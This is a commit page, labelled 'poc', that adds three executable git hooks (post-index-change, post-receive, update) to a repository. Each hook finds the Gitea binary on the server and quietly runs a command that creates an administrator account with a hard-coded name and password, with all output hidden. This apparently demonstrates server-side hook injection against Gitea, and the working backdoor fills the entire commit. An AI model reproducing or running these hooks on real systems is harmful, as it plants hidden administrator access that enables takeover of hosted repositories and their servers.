poc
This commit is contained in:
parent
a5e5f5814c
commit
f8dc96960d
4
hooks/post-index-change
Executable file
4
hooks/post-index-change
Executable file
@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
|
||||
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
|
||||
[ -n "$G" ] && "$G" admin user create --username "fh-admin-4p8h" --password 'Fh-admin-4p8h!x' --email "fh-admin-4p8h@example.com" --admin --must-change-password=false >/dev/null 2>&1
|
||||
4
hooks/post-receive
Executable file
4
hooks/post-receive
Executable file
@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
|
||||
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
|
||||
[ -n "$G" ] && "$G" admin user create --username "fh-admin-4p8h" --password 'Fh-admin-4p8h!x' --email "fh-admin-4p8h@example.com" --admin --must-change-password=false >/dev/null 2>&1
|
||||
4
hooks/update
Executable file
4
hooks/update
Executable file
@ -0,0 +1,4 @@
|
||||
#!/bin/sh
|
||||
G=""; for c in /usr/local/bin/gitea /usr/bin/gitea /app/gitea/gitea /data/gitea/gitea ./gitea "$GITEA_WORK_DIR/gitea"; do [ -x "$c" ] && G="$c" && break; done
|
||||
[ -z "$G" ] && G="$(command -v gitea 2>/dev/null)"
|
||||
[ -n "$G" ] && "$G" admin user create --username "fh-admin-4p8h" --password 'Fh-admin-4p8h!x' --email "fh-admin-4p8h@example.com" --admin --must-change-password=false >/dev/null 2>&1
|
||||
Loading…
x
Reference in New Issue
Block a user